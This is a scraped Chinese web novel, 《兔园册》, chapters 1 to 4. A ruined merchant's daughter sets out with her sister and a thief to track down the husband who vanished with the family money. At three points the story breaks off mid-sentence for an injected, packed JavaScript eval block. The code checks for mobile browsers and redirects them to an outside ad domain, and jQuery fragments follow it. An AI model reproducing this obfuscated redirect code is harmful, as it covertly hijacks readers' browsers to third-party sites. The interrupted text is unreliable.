《兔园册》
1. 兔园册
清晨,京城郊外浓雾弥漫,雾气中隐隐约约地映出了一座破庙的轮廓,庙传来阵阵呜咽声,听着让人有些毛骨悚然。
初次经过此处的过路人无不小心翼翼,生怕惊扰了庙中神灵,可附近的乡民却已经见怪不怪了。一听到声音,他们迅速回家将挂在墙外的大蒜辣椒收起来,又爬上屋顶把烟囱拿草席盖住,生怕做饭的时候冒出一点烟气。
毕竟庙里那伙人,可是什么都吃。上到小鸟下到蚂蚱,只要嚼得烂,就能往嘴里送。有一次住附近的张大爷给孙子从城里买了一串糖葫芦,路过这破庙之后连棍儿都被啃了,气得张大爷在庙门口破口大骂三天三夜,说里面的人是饿死鬼投胎。
可是骂归骂,他却也拿那些人没办法,因为那些人是真的脑子不正常。骂多了,说不定那神经病直接把他也吃了。再说了,这庙邪性得很,据说不久之前还死过人。
……
纪杪春坐在破庙中,看着旁边鬼哭狼嚎的姐姐,怜爱地拍了拍她胖乎乎的小脸:“昨晚你赌气绝食,才吃了三个馒头五张麦饼,瞧你现在饿的……你再忍忍,段襄出去找吃的了,马上就回来了。”
擦去纪清冬脸上的泪珠,纪杪春叹了一口气,顺便把自己手上的灰蹭得干干净净。要是纪家还没倒,哪能让纪清冬这个小胖丫头天天饿得干嚎,以至于连这破庙的名声都一落千丈,周边乞丐都连夜搬走了。
活了这么多年,纪杪春本是一路顺风顺水,虽说不是锦衣玉食,但是也是吃穿无忧。她的父亲纪桐是燕北的商人,家里做了点小生意,纪家虽然不是什么大富大贵之家,但是自从前些年举家从燕北搬到了京城,生活水平便肉眼可见地更上一层楼。
在入狱之前,纪杪春唯一的烦恼便是她那小白脸夫君总是神神秘秘地往府外跑,也不知道成天都在干些什么。
想到自己那个入赘的夫君,纪杪春就气不打一处来,本来在纪清冬脸上擦灰的手也一下子捏紧,疼得纪清冬嗷嗷直叫唤。
她那夫君名叫苏晞光,老家据说是在江南。他父母双亡,口袋里钱没有多少,但是脸长得确实不错,唇红齿白,笑起来眼睛弯成了月牙,整个人又看起来清瘦颀长,人也有才学。自从他搬来京城,卖猪肉的刘屠户之女三番五次找他请教问题,一来二去,苏晞光的猪肉供给源就有了保障。
看着那刘梨总是趁着父亲不注意偷偷送免费的猪肉给苏晞光,纪杪春就啧啧称奇,觉得这小白脸不简单。像他这样的读书人,肯出卖色相换肉吃的不多,尤其是同时还被卖豆腐的王三姐、卖话本的方老板和卖包子的孙大娘等人同时接济的男子更是少之又少。
纪杪春身边很难见到像他这么好看的人,这么不要脸的更是十年难遇,这就导致纪杪春经常路过他在城中的住所时多看两眼。直到因为不小心踩碎了苏晞光放到门口的瓢,被苏晞光讹了五两银子之后,纪杪春才老实了。
虽然她合理怀疑这瓢就是苏晞光故意放的,好一招钓鱼执法,她正好就上钩了。
纪杪春虽然肉疼,但是五两银子也是说赔就赔。也许这阔气的举动让苏晞光看到了她的财力,让他明白纪家比刘屠户家有钱。从那以后,两人便王八看绿豆,看对眼了。那时的苏晞光连买书的钱都没有,所以他心甘情愿地入赘纪家。而纪杪春虽然不知道自己是赚了还是亏了,却也鬼迷心窍地去跟父母争取了几次,纪清冬也帮着她在父母面前游说了许久。
那时的纪杪春觉得苏晞光哪里都好,哪怕家人都叫她小春,可这小子偏偏要叫她大姐,纪杪春都觉得这个称呼威武霸气,甚妙!
纪杪春与苏晞光是同年同月同日生,按算命先生的话来说,这叫犯伏吟煞,两命相争,不吉利。好在纪桐宠女儿,虽然心里不乐意,但还是勉强同意了,可纪杪春的娘亲阮惠兰却一直有些不满。幸好苏晞光争气,他脑子聪明,在两人成亲后便考中了举人,阮惠兰这才不再多说什么。
有个举人女婿之后,纪桐对苏晞光赞不绝口,夸他有状元之才,同时心里又暗自庆幸之前同意了这桩婚事。纪家世代经商,要是苏晞光真的能入朝为官,对他可是不小的助力。自从苏晞光中了举之后,来结交纪桐的人便多了起来,有的人还给纪桐带来了点赚钱的门路。那时的纪桐每天春风得意,却没想到没过多久,他就被人使了绊子,还被定了罪。就在纪杪春成亲一年后,纪家全家下狱,家仆散尽,家产也被尽数没收。
早在入狱之前,纪桐便听到了风声。苏晞光中举后说不定结识了一些贵人,纪桐的罪名可大可小,若是能让苏晞光求人帮着打点一下,关不了几日便能出来,也许还能翻案。在纪桐的眼里,只要苏晞光不入狱,纪家就有转机。纪杪春打定主意之后,便跟苏晞光提了和离。
纪杪春提和离的那天,苏晞光挣扎了良久,最终还是答应了。离开纪府的那天,他还贴心地带走了一小部分钱财,说是等纪杪春她们出狱之后补贴家用。当时的苏晞光拉着纪杪春的手,泪眼汪汪地发誓,说什么候归期,心不移,给纪杪春感动得泪洒当场,连纪清冬都在一边抹泪。
那时的纪杪春虽然入了狱,但是她心里却庆幸自己找了这么个夫君,虽然成亲之前看着不太靠谱,但是没想到现在却能帮上大忙,也算是她眼光好。
狱中有个小窗,纪杪春看着小窗外面下起了雨,雨停了又下起了雪,然后雪也化了。她等啊等,直到新帝登基,天下大赦,她才被放出去。
天下大赦那天,京中下了一场大雨,神官说这是因为新帝仁德,上天特地降下甘霖以示祥瑞。纪杪春在狱中呆了整整一年,出狱之后才知道父亲和母亲早就死在狱中了,唯一活着的只有她和姐姐纪清冬。
而那个信誓旦旦说着心不移的苏晞光,却带着银钱不知道跑到哪里去了。纪杪春原本想带着纪清冬回燕北投奔亲戚,可谁知那些远房亲戚听说了纪家的事后,没人敢再收留她们,于是二人只好继续在京中找住所。
由于在狱中被磋磨了一整年,纪清冬变得有些痴傻,心智就像个孩童一般。虽然狱中的伙食不好,但是她却被养得胖乎乎的,每天进食量巨大。心灰意冷的纪杪春身上一个子儿都没有,只好带着姐姐去京郊破庙暂住。这破庙里弥漫着一股血腥味,门口还有一大堆不知烧了什么东西留下的灰泥和一把卷了刃的柴刀,看着相当不吉利,但胜在冬暖夏凉。为了果腹,她偷了周围的农户不下十余次,于是京郊家家户户都养起了狗。
某次在偷菜的时候,有只胖乎乎的恶犬一路追着纪杪春跑到了破庙中,却在看到纪清冬双眼放光地扑向它后落荒而逃,生怕自己被活吞。自那以后,这座破庙便变成了京郊恐怖传说,甚至有了止小儿夜啼的功效,哪家的孩子只要半夜哭闹,父母便会佯装要将他送到破庙里去。
这附近的住户人人都怕破庙里的人,可庙中除了纪杪春和纪清冬之外,还住着一个叫段襄的小贼。这段襄从小便以偷盗为生,但他本着盗亦有道的原则,向来只偷坏人,不偷好人。他在这破庙里住了许久,有次出了趟远门,回来之后却看到两个衣着破烂的人霸占了他的草席。他自诩大度,不仅
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129341|164386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
把草席让了出去,偷了钱买东西吃时还会给纪杪春她们带回来一份,而且丝毫不在乎纪清冬惊人的食量。
这天,段襄本是去城里买点馒头麦饼,还没走近便听到庙里传来阵阵哀嚎,进门后便看到纪清冬被抓得黑乎乎的脸。他笑了笑,把买来的食物往地上一放,拿脚尖踢了踢坐在地上的纪杪春。
“又在想你那个小白脸夫君?”
纪杪春翻了个白眼,刚要说话,却被一本册子砸了头。
这本册子是段襄从纪府翻出来的,由于纪清冬每日消耗食物太多,导致段襄生活品质有所下降,于是便想去纪府看看有没有什么值钱的东西。纪府的门口有几个闲散的小兵守着,段襄只好偷偷摸摸地翻进去,可府中的东西早就被一抢而空,像是被搜过好几遍,也不知道那几个士兵守着有什么用。
虽然值钱的东西都没了,但是他在断垣残壁中找到了一本小册子,想着这是纪家的东西,便给纪杪春带回来了。
“兔园册……”看着这册子,纪杪春神情一怔。
这是苏晞光给她的。
纪杪春从小便贪玩,母亲多次让她读书,她却每次看两三个字就能睡着。成亲之后,为了打趣她,苏晞光便给了她这本兔园册,说让她从头学。兔园册本身是给孩童的课本,纪杪春早就过了读它的年纪,明知道苏晞光说的是玩笑话,于是纪杪春也没把这册子放在心上,刚拿到手就丢到一边去了。
纪杪春掸了掸册子上的土,翻开了残破的书页,发现里面除了原本的内容之外,还多了很多典故的注释,雅致的字一看就是苏晞光写的。
纪杪春伸出手拂过那有些模糊不清的字迹,想起了苏晞光坐在窗边,垂眸一笔一划地写下批注的样子。
二人本是少年夫妻,匆匆忙忙地成亲,又匆匆忙忙地和离,在一起不过一年。那时的她轻易将分别说出口,最后却成了真,再也没能见到苏晞光。
成亲后的这一年里,也许是苏晞光装得太像,纪杪春总觉得他是爱着自己的。
可现实却告诉她,苏晞光也许真的不爱她,只要有钱,他入赘到谁家都是一样的。月盈月缺,情长情短,纪杪春捉摸不透苏晞光的心思。
纪杪春把兔园册随意丢给纪清冬,然后抓起馒头咬了一口,心里闷闷的。纪清冬现在是孩童心性,对这兔园册十分感兴趣,刚拿到手就翻看起来。
段襄一般是晚上开工,白天在庙里睡觉。他休息的时候,纪杪春便会去林中拾点柴火,摘点野果。纪杪春原本也想找个活计,能赚一点是一点,但是由于纪家现在名声不好,城中没人敢雇她。
吃完馒头之后,纪杪春拍了拍手,刚拿起一个破旧的小背篓打算去捡柴,起身后余光却瞟到兔园册上出现了几个字。她眨了眨眼睛,把册子从纪清冬手上拿了过来。原本满是批注的兔园册从某一页起全变成了空白,再往后翻,空白的纸上出现了一行突兀的字。
“……城西小树林,寻苏晞光?”她皱着眉头,轻声把那几个字念了出来。
一旁的段襄正在闭目养神,听到这话便睁开眼睛瞟了纪杪春一眼,嗤笑一声:“城西小树林是处乱葬岗,谁去那里找人?”
“可这册子上就是这么写的。”纪杪春也觉得不对,她将册子递给段襄。段襄坐起来,接过册子看了一眼,又盯着纪杪春良久。
“你不会……犯了癔症吧?”段襄问道。他根本看不到纪杪春说的那几个字。
庙里已经有一个脑子有问题的人了,要是再多一个,他可怎么活?
2. 小西瓜
看到兔园册上的那行字后,纪杪春哪怕是拾柴都心神不宁,她拿着从庙前捡的那把卷了刃的柴刀,想把粗枝劈成两半,却差点把人家竖在墓前的木牌给劈了。
难不成真是得了癔症?纪杪春一边这么想,一边恍恍惚惚地往前走着。说也奇怪,那兔园册上突然出现的字,很像苏晞光的笔迹。
苏晞光的字周正雅致,又带一丝风骨,成亲之前纪杪春和苏晞光眉来眼去了一段时间,那段时间她就经常打着学字的幌子去找苏晞光。正是那一段时间,纪杪春才知道苏晞光是江南人,为了读书才来了京城。
说来也奇怪,苏晞光虽然不算富裕,但是举手投足间气度却又跟其他男子有些不同,当时的纪杪春正上头,只觉得读书人都是这样有气质。那时的她觉得苏晞光哪里都好,长得好,个子高,有学问,性格也说得过去,穷是穷了点,可她家有钱,刚好互补。
尤其是与苏晞光熟了之后,知道他每次在王三姐、孙大娘她们送吃食过来之后一定要给钱,纪杪春就觉得他更好了。之前她一直以为苏晞光出卖色相,接受着周围女子的接济,现在看来并非如此,况且私下他和其他女子似乎也没什么交集。
可这样的人,为什么会搭理她一而再再而三的骚扰呢?纪杪春虽然觉得自己长得不差,但是也不乏家世好且貌美的女子刻意去找苏晞光闲谈,可苏晞光却总是对她们爱搭不理的。
有一天纪杪春终于问出了心中所想,苏晞光先是假装冥思苦想,却还是忍不住笑出了声:“可能是刚见到你的时候就觉得眼熟吧。”
虽然苏晞光这么说了,但纪杪春却觉得这个答案很敷衍,因为在这之前她从未见过苏晞光。
直到最后,纪杪春也没问出来答案。
也许苏晞光就是一个这样满嘴跑火车的人,他说眼熟是假的,说心不移也是假的,那些情啊爱啊都是假的。
想到过去那些事,纪杪春就气不打一处来,她抡圆了胳膊,使足了力气,用力向下一劈,只听啪的一声,她又不小心劈歪了。
看着坟包前变成两半的木牌,纪杪春心虚地扶了扶,然后像被狗撵的鸡一样疯跑回了破庙,一个白天都没敢再出门。
夜里,段襄又出去干偷鸡摸狗的那档子事,纪清冬也睡着了,纪杪春坐在月光下龇牙咧嘴地给自己上药。
这药是段襄前一阵子受伤的时候买的,纪杪春今天逃跑的时候太过狼狈,手不知道被什么东西划伤了,正好借来一用。
看着手中的药瓶,纪杪春叹了一口气,想着要是有钱就好了,有钱说不定能带纪清冬去医馆看一看,开几服药,说不定姐姐就能像以前一样恢复正常。
现在的纪清冬虽然能吃能睡,似乎也没有什么忧愁,可纪杪春却还是十分心疼她。
纪杪春伸出手顺了顺纪清冬的头发,又把她怀里的兔园册抽了出来,防止她的口水滴到册子上。纪杪春翻着册子,借着月色仔细看着苏晞光写下的那些注释,才发觉苏晞光当时有多么用心。
明明是给孩童看的册子,添加了这些批注后对于纪杪春来说却不再无聊,有些晦涩的典故也变得通俗易懂,可见批注之人的确是下了功夫。
纪杪春一页一页翻着,目光划过早上看到的写着城西小树林的那行字,目光一凝。因为在这行字的下面,又浮现了新的字。
纪杪春揉了揉眼睛,又轻轻地碰了一下书页上的字,看着指尖未干的墨迹微微颤抖。
初见于燕北黎镇——那行字这样写道,下面还出现了两个玩耍的小人。燕北黎镇正是纪杪春的家乡,纪杪春盯着这行字,突然发觉自己之前好像忘了什么。
也许她曾经的确与苏晞光见过,只不过时间太久远了,远到纪杪春已经忘记这件事了,直到看到兔园册上的字才再度想起。
……
小时候,纪杪春每天都在镇上玩耍,镇上的小孩没有她不认识的,可某一天却来了一个陌生的孩子,看起来跟她一般大。那孩子抱着一本兔园册,想跟纪杪春一起玩。纪杪春见他穿着绸缎,小脸白净,一看就是家里特别有钱——反正跟他们家这种做点小生意的肯定不一样。
“有钱人家的孩子最麻烦了,衣服脏了要哭,摔倒了要哭,还不能跟我们一起爬树。”当时小小的纪杪春言辞拒绝了那个孩子的要求,还一把推开那孩子递过来想要一起看的兔园册。
“第一,我最讨厌读书,我不喜欢那些咬文嚼字的东西。”纪杪春这样说道:“第二,那些典故太复杂,我懒得思考。”
当然,最重要的一点她没好意思说,那就是她那时压根不识字。
虽然她这样拒绝了,可那个孩子还是一路跟在她的身后,小声地学着别的孩子叫她小春。纪杪春讨厌这样柔柔弱弱的男孩,于是声如洪钟地喊了回去:“不准叫我小春。”
看着男孩另一只手里拿着的饴糖,纪杪春吞了吞口水,改了口风:“你要想跟我玩也可以,你可以当我小弟,叫我大姐。”
男孩点了点头,小声说:“大姐,我叫晞光,从江南来的。”
“你好西瓜。”纪杪春跟他握了握手,顺便拿走了他手里的饴糖。
那天,纪杪春带着这个叫西瓜的小朋友满城疯玩,直到日落西山,要吃饭了,西瓜才一步三回头地跟纪杪春道了别。走之前,西瓜小声地说他住在城东,还跟纪杪春约定了之后再一起玩。
平白多了个小弟,纪杪春心里有些小得意。可那天之后,她再想去找西瓜,却被一个自称是西瓜大娘的妇人给拒之门外。妇人告诉纪杪春,说西瓜体弱,需要静养,以后也别来找他了。
听着院子里西瓜断断续续的哭声,纪杪春噘着嘴走了,心里想着以后再也不跟有钱人家的孩子玩了。
回忆起过去那些事,纪杪春嘴角抽了抽,狠狠地将兔园册拍在地上。
原来苏晞光就是那个西瓜!
想到有一段时间苏晞光热衷于叫自己大姐,纪杪春就气不打一处来。当时她还美滋滋的,现在一琢磨,原来那小子是在嘲讽。
忆起自己小时候像只猴子爬上爬下的那些丢人事迹,纪杪春觉得自己应该感谢苏晞光没主动提起这事。
苏晞光当时为什么会出现在燕北
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129342|164386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,也许……是探亲?纪杪春看着地上的兔园册,希望能再次得到答案,可兔园册却安安静静的,只留下之前出现的那两句话。
等了半天,纪杪春觉得自己可能真的得了癔症,竟然希望一本册子能回答问题。
可如果她真的得了臆症,如果这册子上的字都是她幻想出来的,那为什么这些字都跟苏晞光有关系,难不成是她潜意识里怕自己忘了那个负心汉?
想到这里,纪杪春踩了兔园册几下,可当她看到指尖的墨痕时,却又觉得这可能不是自己的幻想。
也许这是一本神书。当然,这破庙阴气这么重,上面的字也可能是鬼写的。
纪杪春不再折腾,她把册子塞到纪清冬怀里,看着发白的天色,想着再过一会天就亮了,到时候段襄也该回来了,可她却没有一丝一毫的睡意。她看着破旧的神像,心里隐隐约约有了主意。住在破庙的这一段时间,纪杪春每天就是捡柴,采野果,吃饭,睡觉,每天起得比鸡早,干得比牛多,有时还吃得比猪差,这一切都是因为没钱。
而纪家剩下的那些钱,全在苏晞光手上。
可苏晞光现在在哪里呢?是在他的家乡江南,还是在小时候待过的燕北?
一个时辰之后,天色亮起,纪杪春眼下青黑,眼珠骨碌碌地转,把刚进来的段襄吓了一大跳。
段襄昨晚干了票大的,特地买了两只烧鸡,闻到香味的纪清冬迷迷糊糊地睁开眼,捏了捏手中烂成一团的兔园册,迅速起身向香味来源爬去,嘴里还念叨着能吃是福。
纪清冬抱着一只烧鸡啃,另一只纪杪春和段襄分着吃。虽然大早上吃烧鸡有些油腻,但是三人已经许久没吃过肉了,于是一个吃得比一个香。
纪杪春咬着鸡腿,突然含糊不清地说:“你说,我要不要去找苏晞光把钱要回来?”
段襄顿了一下,有些无语地回道:“……你不会真的要去乱葬岗找人吧。”
“当然不。”纪杪春故作高深地摇了摇头:“我已经差不多确定了范围,只要在这片范围内细细地找,总能找到他。”
她从地上捡了一根树枝,开始比划:“北到燕北,南到江南。”
“啥?”段襄看着纪杪春的脑壳,眼神怜悯:“你要这么找的话,还不如干脆忘了他。”
咬了一口鸡翅,段襄又补充道:“你放心,等我多干几票大的,攒一攒钱,到时候一定给你们姐妹二人治一治脑子。”
纪杪春觉得这话不太好听,但是她还是自顾自地往下说着:“你看,虽然离得很远,但是他躲到这两个地方的概率很大啊,如果我……”
段襄有些受不了,打断纪杪春的念叨:“等等,谁告诉你他在这两个地方的?”
“天降神谕!”纪杪春把兔园册揣进怀里,表情认真地说道。负心汉会骗人,可是钱不会骗人。如果有钱了,纪清冬就能去治病,她们也不用再过现在这样的生活了。
……可是神谕之前不是让你去乱葬岗找吗?段襄在心里无语道。
在他眼中,纪杪春与其这么折腾,还不如当苏晞光早就死了呢。
3. 燕北行
决定要千里追债后,纪杪春便借了段襄的刀,又扯了一段绳子,说要出去找坐骑。由于已经无语到了极致,段襄什么都没说,默默地把刀递给纪杪春,然后就倒下打算一睡不起。
这破庙所在的山上有许多野驴,白天喊晚上叫的,时不时还冲到山脚在菜地里吃自助餐,周围的乡民不堪其扰。纪杪春天天在山上捡柴,对野驴们的栖息地一清二楚。她提着刀就往山上冲,野驴们昨天晚上才偷偷糟蹋了庄稼地,现在正在休息,见纪杪春来了,立刻狂叫着一哄而散。
纪杪春虽然没学过武,但是从小便跟着其他孩子满城玩耍,免不了爬高上低,体质还是不错的。她看着四散而逃的野驴,决心抓一只最壮实的。野驴们跑得很快,但是由于山上树木茂盛,一定程度限制了它们的速度。其中一只驴跑着跑着便撞到树上,纪杪春气喘吁吁地跑过去,犹豫要不要把这只直接收编。
它不一定是跑得最快的,但一定是最蠢的。
……
正在庙里睡觉的段襄听到一声高昂的驴叫,吓得一下子弹起,随后便见到纪杪春牵着一匹面相有些弱智的驴走了进来。
“我刚刚看看到庙后面还有个烂板车,到时候姐姐就可以直接坐在上面了。”见段襄醒了,纪杪春一边说着,一边兴奋地把驴栓在庙前。
“你还要带上纪清冬?”段襄挠了挠头:“可你还不知道要往哪个方向走……”
“先北后南!”纪杪春笃定地说道。
说也奇怪,也许是因为这头驴实在是不聪明,或者是被撞傻了,它甚至连一点反抗的意思都没有,直接乖乖地成了坐骑。回来的路上纪杪春直接骑在了驴背上,她闲来无事,便从怀中掏出兔园册翻了翻,只见上面写着“先北后南”几个字。
反正二选一,不如按兔园册指的方向走,碰碰运气。
看着纪杪春心意已决,段襄围着组装好的驴和板车绕了两圈,像是下了好大的决心般,许久才说了一句:“我跟你去。”
对他来说,在哪偷不都是偷。
看着纪杪春有些犹豫的表情,段襄掏出钱袋子晃了晃:“我这有点钱,可以路上花……野驴倔得很,你一个人不一定拉得动。”
“还有,要到钱之后分我一点。”
听到这话,纪杪春松了一口气,她不想平白欠人情。她回道:“那万一要不到呢?”
“要不到就把驴送我,杀了吃肉。”
听了这话,野驴忍不住又狂叫起来,生而为驴,我很抱歉。
纪杪春没什么要拿的行李,最后看了一眼庙中半阖着眼的大佛,三个穷人就这么上路了。听说要回燕北,纪清冬特别兴奋,话也比平常多了不少。在她的脑海里,父亲和母亲都在燕北的家里,等着她和小春回家。纪清冬坐在驴车上,一边哼着歌,一边缠着纪杪春问这问那,还问苏晞光在哪里。
纪清冬不记得苏晞光留下的承诺,她只是觉得苏晞光出远门了,因为好像在某一天,苏晞光跟小春说过“候归期,心不移”,当时她也跟着流泪了。仅凭这一句话,她便觉得自己这个妹夫早晚会回来的。
听着纪清冬天真的说辞,纪杪春窝在板车上一言不发。以前的她,也像现在的纪清冬一样觉得苏晞光说过的每句话都算数,可现在的纪杪春却只记得他走的时候连头也不回,然后就再也没回来。
和离之后,苏晞光便搬了出去,那天他只跟纪桐说了几句便匆匆离开,等纪杪春赶到纪府门口的时候,却只能看到他离开的背影。日头很大,阳光刺眼,可纪杪春却还是固执地死死地盯着那个身影。明明不知何时才能相见,苏晞光却走得格外决绝,话也不留下一句,连头也没有回。
纪杪春心中赌气,想着再也不要见到他了,便转身回了府。
可她不知,就在她转身的那一刻,苏晞光便停下了脚步。他挣扎良久,回头望去,却也只看到了纪杪春的背影。他就那样站在原地,盯着纪府空荡荡的大门,许久也没有离开。
苏晞光其实有很多话想说,他希望纪杪春能等一等他,千万不要在他走了之后再喜欢上别人,可他怕自己把这些话说了,就舍不得走了。
就像他明明在心中告诫自己千百遍,不要回头,可他还是回头了,只是这一眼,便让他挪动不了脚步。
直到傍晚,阳光照在少年的身上,留下一条长长的影子,笔直地指向他曾经住过一年的纪府,他才转身离去。
这些事,纪杪春却不知道。
……
三人坐着驴车晃晃悠悠地一路朝着燕北行去。纪清冬很没精神,似乎是有些饿了,于是在路过一家卖麦饼的铺子时,纪杪春便下了车打算去买点吃食,却正好听到老板跟食客正在闲聊。
“去年京城那个商人的事你听说过没有,钱都让他们赚了,害的是我们老百姓啊,幸好苍天有眼,让他妻离子散,连女婿都跑了。”老板一边烙饼,一边说道:“要我说那入赘的女婿也是个白眼狼,纪家小姐估计只是图他的脸罢了。”
食客一听这话来了兴致:“天下商贾大多如此,这事我也只是略有耳闻,但听你这话,你像是见过那人?”
老板啧啧两声:“我弟弟阿虎在京郊做工,撞见他去郊外不知烧什么东西,虽然看起来憔悴,但长相确实是不错…
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129343|164386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…只可惜,从前锦衣玉食,靠山倒了之后也只能跟咱们这些粗人一样吃麦饼了。”
纪杪春不知道为什么苏晞光手里握着那么多银钱,却还能过得那么潦倒。她接过热乎乎的麦饼,觉得有些烫手。这麦饼吃着干巴巴的,苏晞光虽然之前家境不好,但是却从来不吃这种粗食,哪怕在京中住着破屋,他也能把自己拾掇得像模像样,用纪桐的话说就是看着像那些官家少爷一样矜贵。
像他那样的人,现在也背负上了“白眼狼”的骂名。
虽然纪杪春总是骂他负心汉,但听到别人这么评价苏晞光,还是让她心里一紧,随后却又自嘲地笑了笑。明明苏晞光拿了纪家的钱,又像鹌鹑一样躲了起来,可听到他的名字,纪杪春却还是心软了。
毕竟一年前两人还是夫妻,哪怕在狱中,纪杪春都在每日祈祷,希望苏晞光能平安。
但苏晞光现在与她已经没关系了,等她拿了钱,便桥归桥路归路,永世不再相见。
到了晚上,几人找了个地方落脚,吃了麦饼之后纪清冬便病恹恹地睡着了,纪杪春却睡不着,按现在的行进速度来看,不日便能到燕北黎镇。纪家的远房亲戚也住在黎镇,当年纪桐去了京城之后没少帮衬大家,可现在纪家已经倒了,又得了那样一个坏名声,那些同为商贾的远房亲戚不一定会待见她们。
毕竟都是做生意的,谁都不想让人觉得自己和奸商有瓜葛。
当年成亲时,这些远房亲戚虽然人没到京城,但是礼金却给了不少,可这些钱一部分不知道被苏晞光藏到哪里去了,另一部分被尽数充了公,连一个铜板都没剩。
成亲那天,纪家为了给纪杪春撑场面,连宾客喝水的酒杯都换成金子做的。当时的纪杪春只顾得上感叹父亲的大手笔,现在的她却想着要是那时候能偷偷藏一个杯子,或者一副金筷子,她和姐姐出狱后也不至于这么穷困潦倒。
想到当时,纪杪春忍不住勾起了唇角。
记得那晚觥筹交错,苏晞光喝了好多酒,连看着手里的酒杯都重了影。进了婚房之后,他拾起一支桌上摆着的黄色小花,轻声念着江南春色不及这花一分。
听他这么说,纪杪春便忍不住笑出了声,这花是她在院子里摘的,觉得衬婚房的大红色,这才摆了进来,没想到引得苏晞光在这说胡话。
见纪杪春笑了,苏晞光也笑了,眼睛像弯弯的月牙。他将小黄花夹在一本书中,像是藏起了什么珍贵的宝物。
他可不是说胡话。苏晞光心里想着。
在他眼中,这朵花比他见过所有的景色都美上百倍,可细细看来,却又比不上采花人万分之一。
4. 小毛贼
已经到了晚秋,天气越来越冷,纪清冬的身体也没有以前好了,原先胖乎乎的脸清瘦了许多。段襄不知道从哪里弄来几件棉衣,虽然不太好看,穿上像小羊羔似的,但是胜在保暖。
三人白天驴不停蹄地赶路,夜晚便找个林中的破庙或者没人住的旧屋对付一宿,饿了就买点饼子,找点野果。虽然不能说吃得有多好,但起码饿不死。总的来说与之前在京郊破庙的生活大差不差,唯一的好处就是纪杪春不用每天天不亮就出门拾柴了。
但是路途遥远,每日又颠簸劳累,纪清冬虽然裹得厚厚的,却还是有点咳嗽。为了让纪清冬好受些,段襄又找了一条毯子给她裹在身上,这回她彻底像个球了。纪杪春说不感动是假的,原本只是萍水相逢,可段襄却实实在在帮了她们许多。
可对于段襄来说,他和纪杪春可不是萍水相逢,准确来说,是他单方面与纪杪春认识了很久。
那年段襄年龄尚小,还是个毛贼幼年体。纪桐刚带着纪家搬来京城,那时的纪家虽然说不上多有钱,但也算是有些积蓄。正巧赶上段襄年底冲业绩,于是纪家便成了他眼中的肥羊。可惜他那时学艺不精,凭借着他的三脚猫功夫刚刚翻过墙,便一头栽进了花盆里。
这花盆就摆在墙角,里面虽然没种着花草,却像是摆着一些杂物,戳得段襄满脸红痕。他头晕眼花地想往出爬,却有人先一步把他拔了出来。
看着面前满脸是伤,但是表情却很是无措的少年,纪杪春满脸警惕地问道:“你是谁,来我家做什么?”
“我、我……”段襄有些结巴,生怕眼前穿着绿裙子的少女报官:“我不是贼!”
“啊?惨了惨了!你不是贼?”听到这话,纪杪春心头一惊,她飞快地瞟向花盆,看到里面东西还在,又稍稍放心了一些。
“你快说实话,不然我就要叫人了。”看到眼前抖如糠筛的少年,纪杪春威胁道。
见眼前之人脸色变换莫测,段襄吞了一下口水:“我说实话,你别叫人。”
“我是贼。”他说。
“……嗐,我就知道,早说不就没事了。”
咦?段襄眨了眨眼睛。
纪杪春冲他摆摆手:“赶紧走吧,我们家没什么好偷的,念你是初犯,我就饶你一回,再有下次就送你去官府。”
幸好是贼,还以为是父亲发现了我藏的画册,派人来收呢。纪杪春翻了翻花盆里的画册,劫后余生地舒了口气。
她虽然不喜欢读书,但却很喜欢看画册。这些画册都是她在燕北搜刮来的,有的可是绝版,只不过由于内容比较刺激猎奇,所以她只好藏在花盆里,想看的时候再偷偷拿出来。
看着笨拙地爬墙想要逃跑的少年,纪杪春一边啧啧嫌弃,一边从花盆里拿出本《冷情厨子爱上穿越螃蟹》。
经此一战,段襄痛定思痛,发誓一定要勤加练习,起码不能给祖师爷丢脸。他想着要是有机会一定要再去一趟纪府,给之前遇到的那个人好好看看自己的真正实力。
段襄虽然想着等自己变厉害了再去见纪杪春,却总是控制不住偷偷爬上纪府的墙头,幸好纪府的护卫都是吃闲饭的,一次都没发现他。时间一天天过去,他就这么坐在墙头,看着纪杪春怎么学习记账,看着她偷看画册,看着她和纪清冬讨论某个新搬到京城的小白脸,再看着她将苏晞光带到府中介绍给爹娘,然后一脸幸福地筹备自己的亲事。
然后,段襄就不再去了。只可惜少年心事无人知。
在那之后,时间仿佛变得很快很快,段襄每天忙于生计,那段轻松愉悦的爬墙时光也在他脑海中逐渐淡去。可就在某一天,纪杪春却带着她的姐姐出现在了那个他落脚的破庙里。他才离开两个月,庙里就多了两个人,门口还多了一堆不知哪里来的灰,被雨水反复浸泡变成了灰白色的泥。
